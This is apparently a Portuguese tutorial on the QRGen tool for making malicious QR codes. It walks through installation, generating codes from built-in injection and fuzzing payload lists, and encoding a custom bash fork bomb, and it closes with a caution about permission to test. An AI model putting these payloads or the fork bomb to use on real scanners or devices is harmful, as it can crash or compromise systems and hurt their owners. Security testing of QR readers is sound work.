QR Gen – Crie códigos QR maliciosos para invadir telefones e outros scanners

Uma ferramenta chamada QRGen pode criar códigos QR maliciosos e até codificar cargas úteis feitas sob medida. Esses ataques são potentes porque os humanos não podem ler ou entender as informações contidas em um código QR sem varrê-lo, possivelmente expondo qualquer dispositivo usado para tentar decifrar o código para a exploração contida nele. Mesmo os scanners de código QR, como os smartphones, podem ser vulneráveis ​​a esses tipos de ataques, já que os códigos QR foram capazes de atrair usuários de iPhones para sites maliciosos .
Categorias: , , ,

Descrição

Uma ferramenta chamada QRGen pode criar códigos QR maliciosos e até codificar cargas úteis feitas sob medida. Esses ataques são potentes porque os humanos não podem ler ou entender as informações contidas em um código QR sem varrê-lo, possivelmente expondo qualquer dispositivo usado para tentar decifrar o código para a exploração contida nele. Mesmo os scanners de código QR, como os smartphones, podem ser vulneráveis ​​a esses tipos de ataques, já que os códigos QR foram capazes de atrair usuários de iPhones para sites maliciosos .

O que são códigos QR?

Códigos QR são formatos de dados legíveis por máquina que são úteis para qualquer coisa que precise ser digitalizada automaticamente. Antes dos códigos QR, havia vários outros formatos chamados códigos de barras lineares, que também armazenavam dados de uma maneira que era fácil para as máquinas lerem. Você provavelmente já viu um código de barras UPC como o que está abaixo nos produtos, já que é frequentemente usado para identificar itens à venda, para que os caixas possam digitalizá-los para permitir uma finalização mais rápida.

O código de barras UPC, ou Universal Product Code, está em uso desde 1974. Sua finalidade é principalmente no varejo e codifica apenas uma série de números, tornando-o limitado na aplicação. Embora existam muitos tipos diferentes de códigos de barras lineares, eles não conseguem armazenar muitas informações. Aplicações como remessa e fabricação de automóveis exigiam um padrão que contivesse mais dados.

Códigos de Barras 2D para Mais Dados

A resposta à limitação de códigos de barras lineares foi o código de barras 2D, que oferece mais resistência ao armazenamento para ter danos físicos que afetam as informações contidas nele. Alguns dos primeiros códigos 2D ficaram parecidos com o abaixo, que ainda é amplamente usado hoje em dia.

O código asteca é um código legível em máquina, em 2D, que é semelhante em muitos aspectos a um código QR e pode conter mais informações do que um código de barras linear. Inicialmente desenvolvido para logística, você pode vê-lo usado em pacotes e envelopes quando mais dados precisam ser armazenados do que um código de barras linear pode fornecer.

Outros tipos de códigos de barras 2D podem conter uma quantidade extremamente densa de dados. O formato PDF417 encontrado no verso da maioria das licenças de motoristas nos Estados Unidos, por exemplo, pode codificar até 1800 caracteres ASCII.

Os códigos PDF417, como acima, podem codificar texto, números, arquivos e bytes de dados reais e são mais resistentes a erros do que códigos de barras lineares. Empresas como a FedEx usam uma combinação de PDF417 e outros códigos de barras em guias de embalagem para automatizar a entrega e o rastreamento.

O que os códigos podem fazer com mais dados?

Os códigos QR começaram na indústria automotiva como uma maneira de rastrear os carros enquanto eles estavam sendo fabricados, mas rapidamente cresceu em popularidade fora da indústria. Semelhante a outros códigos 2D, os códigos QR podem acumular uma tonelada de dados e podem até funcionar quando reduzidos em resolução ou danificados.

Um único código QR pode conter 4.296 caracteres ASCII, o que torna possível ser muito mais criativo sobre o que você pode fazer com eles. Você pode até mesmo formatar os dados para acionar ações quando um dispositivo de leitura o reconhecer.

Uma aplicação fascinante de códigos QR habilitados por sua maior capacidade de dados é usá-los para gerenciar conexões Wi-Fi sem compartilhar a senha em texto simples. Ao codificar a sequência a seguir, você pode criar um código QR que registra automaticamente os usuários do Android em uma rede Wi-Fi.

WIFI:S:<SSID>;T:<WPA|WEP|>;P:<password>;H:<true|false|>;

Qualquer um que escaneie o código QR em um dispositivo Android se encontra automaticamente conectado à rede Wi-Fi codificada. Para saber quantos dados um código QR pode compactar, dê uma olhada neste código:

Esse pequeno código contém o seguinte texto:

Version 40 QR Code can contain up to 1852 chars. A QR code (abbreviated from Quick Response code) is a type of matrix barcode (or two-dimensional code) that is designed to be read by smartphones. The code consists of black modules arranged in a square pattern on a white background. The information encoded may be text, a URL, or other data. Created by Toyota subsidiary Denso Wave in 1994, the QR code is one of the most popular types of two-dimensional barcodes. The QR code was designed to allow its contents to be decoded at high speed. The technology has seen frequent use in Japan and South Korea; the United Kingdom is the seventh-largest national consumer of QR codes. Although initially used for tracking parts in vehicle manufacturing, QR codes now are used in a much broader context, including both commercial tracking applications and convenience-oriented applications aimed at mobile phone users (termed mobile tagging). QR codes may be used to display text to the user, to add a vCard contact to the user's device, to open a Uniform Resource Identifier (URI), or to compose an e-mail or text message. Users can generate and print their own QR codes for others to scan and use by visiting one of several paid and free QR code generating sites or apps.

O texto contido na imagem é maior que o próprio código QR! A capacidade torna os códigos QR poderosos e perigosos, porque os humanos não conseguem entender os dados dentro deles sem digitalizá-los primeiro.

QRgen para QR Code Hacking

Como um ser humano não consegue identificar um código QR malicioso antes de realmente digitalizá-lo, a carga útil relativamente grande de um código QR pode funcionar como vantagem de um hacker, especialmente quando combinada com dispositivos vulneráveis. A ferramenta que usaremos hoje para criá-las é chamada QRGen. Vai levar uma carga e codificá-lo em um código QR usando Python.

O QRGen vem com uma biblioteca embutida que contém muitas explorações populares, o que é extremamente útil se você tiver tempo para sentar com o mesmo dispositivo que está procurando explorar e descobrir qual funciona. Para um pentester que procura auditar qualquer coisa que use um scanner de código QR, basta comprar o mesmo scanner e percorrer os exploits para levá-lo a fazer com que o scanner se comporte de maneira inesperada.

As categorias de cargas úteis disponíveis no QRGen podem ser acessadas usando o sinalizador -l e um número durante a execução do script. O número e o tipo de carga estão listados abaixo.

0: Injeções SQL
1: XSS
2: injeção de comando
3: String de formato
4: XXE
5: Fuzzing de Cadeia
6: Injeção SSI
7: LFI / diretório Traversal

Para criar um monte de códigos QR mal-intencionados que incluam payloads de string-fuzzing, eu precisaria rodar o QRGen.py -l 5 para criar muitos códigos para testes.

O que você precisará

Para usar o QRGen, você precisará do Python3 instalado. Porque é multi-plataforma, deve ser possível fazer em qualquer sistema operacional. Você também precisará de algumas bibliotecas Python, incluindo qrcode, Pillow e argparse, que instalaremos durante a configuração.

 

Install QRGen Etapa 1: Instalar o QRGen

Para começar com o QRGen, precisaremos fazer o download do repositório do GitHub . Faremos isso executando o comando abaixo em uma janela de terminal.

~$ git clone https://github.com/h0nus/QRGen Cloning into 'QRGen'... remote: Enumerating objects: 86, done. remote: Counting objects: 100% (86/86), done. remote: Compressing objects: 100% (78/78), done. remote: Total 86 (delta 26), reused 4 (delta 1), pack-reused 0 Unpacking objects: 100% (86/86), done.

Quando o repo terminar de fazer o download, altere ( cd ) para o seu diretório e liste ( ls ) seu conteúdo para encontrar o arquivo de requisitos.

~$ cd QRGen ~/QRGen$ ls demo.gif qrgen.py README.md requirements.txt words

Agora, você precisa ter certeza de que todas as bibliotecas necessárias estão instaladas. Para fazer isso, vamos executar o arquivo de instalação com o seguinte comando.

~/QRGen$ pip3 install -r requirements.txt Collecting qrcode (from -r requirements.txt (line 1)) Downloading https://files.pythonhosted.org/packages/42/87/4a3a77e59ab7493d64da1f69bf1c2e899a4cf81e51b2baa855e8cc8115be/qrcode-6.1-py2.py3-none-any.whl Requirement already satisfied: Pillow in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (5.4.1) Collecting argparse (from -r requirements.txt (line 3)) Downloading https://files.pythonhosted.org/packages/f2/94/3af39d34be01a24a6e65433d19e107099374224905f1e0cc6bbe1fd22a2f/argparse-1.4.0-py2.py3-none-any.whl Requirement already satisfied: six in /usr/lib/python3/dist-packages (from qrcode->-r requirements.txt (line 1)) (1.12.0) Installing collected packages: qrcode, argparse Successfully installed argparse-1.4.0 qrcode-6.1

Se isso não funcionar, você também pode instalá-lo com este comando alternativo.

~/QRGen$ python3 -m pip install -r requirements.txt

Step 2Generate Malicious QR Codes from a Payload Type Etapa 2: gerar códigos QR mal-intencionados a partir de um tipo de carga útil

Agora, você deve conseguir executar o script digitando python3 qrgen.py .

~/QRGen$ python3 qrgen.py e88 88e 888 88e e88'Y88 d888 888b 888 888D d888 'Y ,ee, 888 8e C8888 8888D 888 88" C8888 eeee d88 88b 888 88b Y888 888P 888 b, Y888 888P 888 , 888 888 "88 88" 888 88b, "88 88" "YeeP" 888 888 b 8b, QRGen ~ v0.1 ~ by h0nus usage: qrgen.py -l [number] usage: qrgen.py -w [/path/to/custom/wordlist] Payload lists: 0 : SQL Injections 1 : XSS 2 : Command Injection 3 : Format String 4 : XXE 5 : String Fuzzing 6 : SSI Injection 7 : LFI / Directory Traversal Tool to generate Malformed QRCodes for fuzzing QRCode parsers/reader optional arguments: -h, --help show this help message and exit Options for QRGen: --list {0,1,2,3,4,5,6,7}, -l {0,1,2,3,4,5,6,7} Set wordlist to use --wordlist WORDLIST, -w WORDLIST Use a custom wordlist Pay attention everywhere, even in the dumbest spot

Como você pode ver, é bem simples criar cargas úteis. Para começar, vamos criar uma carga útil contendo cargas úteis de string de formato. Para fazer isso, execute QRGen com o argumento a seguir.

~/QRGen$ python3 qrgen.py -l 5 e88 88e 888 88e e88'Y88 d888 888b 888 888D d888 'Y ,ee, 888 8e C8888 8888D 888 88" C8888 eeee d88 88b 888 88b Y888 888P 888 b, Y888 888P 888 , 888 888 "88 88" 888 88b, "88 88" "YeeP" 888 888 b 8b, QRGen ~ v0.1 ~ by h0nus Payload path generated.. Path already cleared or deleted.. Generated 46 payloads! Opening last generated payload... Thanks for using QRGen, made by H0nus..

Uma série de códigos QR será gerada e a última que foi criada será aberta automaticamente.

Para ver o resto de suas cargas, você pode digitar cd genqr para mudar para o diretório onde eles são criados e seu conteúdo.

~/QRGen$ cd genqr ~/QRGen/genqr$ ls payload-0.png payload-19.png payload-28.png payload-37.png payload-4.png payload-10.png payload-1.png payload-29.png payload-38.png payload-5.png payload-11.png payload-20.png payload-2.png payload-39.png payload-6.png payload-12.png payload-21.png payload-30.png payload-3.png payload-7.png payload-13.png payload-22.png payload-31.png payload-40.png payload-8.png payload-14.png payload-23.png payload-32.png payload-41.png payload-9.png payload-15.png payload-24.png payload-33.png payload-42.png payload-16.png payload-25.png payload-34.png payload-43.png payload-17.png payload-26.png payload-35.png payload-44.png payload-18.png payload-27.png payload-36.png payload-45.png

Step 3Encode Custom Payloads Etapa 3: codificar cargas úteis

Para codificar uma carga útil personalizada, podemos primeiro criar um arquivo de texto contendo o que queremos codificar. Cada linha será uma nova carga útil. Primeiro, podemos criar um próximo arquivo de texto digitando nano badstuff.txt para criar um arquivo de texto.

~/QRGen/genqr$ nano badstuff.txt

Nesse arquivo de texto, podemos colocar nossa carga útil. O abaixo é uma bomba garfo. Será que funciona em um scanner de código QR? Quem sabe.

:(){ :|: & };:

Podemos salvá-lo pressionando Control X , depois pressione Y e Enter para confirmar seu salvamento. Agora, você deve ver um arquivo de texto contendo sua carga útil.

~/QRGen/genqr$ ls badstuff.txt payload-18.png payload-27.png payload-36.png payload-45.png payload-0.png payload-19.png payload-28.png payload-37.png payload-4.png payload-10.png payload-1.png payload-29.png payload-38.png payload-5.png payload-11.png payload-20.png payload-2.png payload-39.png payload-6.png payload-12.png payload-21.png payload-30.png payload-3.png payload-7.png payload-13.png payload-22.png payload-31.png payload-40.png payload-8.png payload-14.png payload-23.png payload-32.png payload-41.png payload-9.png payload-15.png payload-24.png payload-33.png payload-42.png payload-16.png payload-25.png payload-34.png payload-43.png payload-17.png payload-26.png payload-35.png payload-44.png

Para escrever sua carga útil em um código QR, usaremos o sinalizador -w . Assumindo que seu arquivo de carga útil é chamado de “badstuff.txt”, o comando para fazer isso deve ser semelhante a seguir (lembre-se de voltar ao diretório QRGen anteriormente).

~/QRGen/genqr$ cd .. ~/QRGen$ python3 qrgen.py -w '/username/QRGen/genqr/badstuff.txt' e88 88e 888 88e e88'Y88 d888 888b 888 888D d888 'Y ,ee, 888 8e C8888 8888D 888 88" C8888 eeee d88 88b 888 88b Y888 888P 888 b, Y888 888P 888 , 888 888 "88 88" 888 88b, "88 88" "YeeP" 888 888 b 8b, QRGen ~ v0.1 ~ by h0nus Payload path exist, continuing... Path already cleared or deleted.. Generated 1 payloads! Opening last generated payload... Thanks for using QRGen, made by H0nus..

Para minha carga útil de garfo, ele gera o código QR abaixo, que irá aparecer.

Nem todos os códigos QR são sábios para escanear

Os códigos QR podem codificar muitas informações e, como aprendemos hoje, podem até ser formatados para fazer com que um dispositivo execute ações como conectar-se a uma rede Wi-Fi. Isso torna a leitura de um código QR arriscado, pois uma pessoa não tem como ler as informações antes de expor seu dispositivo a qualquer carga contida dentro dele. Se você digitalizar um código QR que pareça suspeito, preste atenção no que o código está tentando iniciar e não se conecte a uma rede Wi-Fi ou navegue até um link que é encurtado.

Enquanto a maioria dos códigos QR deve ser segura para digitalizar em um smartphone, a verificação de cargas que geramos hoje em um dispositivo para a digitalização de bilhetes ou cartões de embarque pode resultar em algum comportamento bizarro do dispositivo. Não digitalize cargas úteis em um scanner que você precise trabalhar imediatamente após um evento ou trabalho – ou qualquer scanner que você não tenha permissão para testar – pois algumas dessas cargas podem fazer com que o scanner pare de funcionar.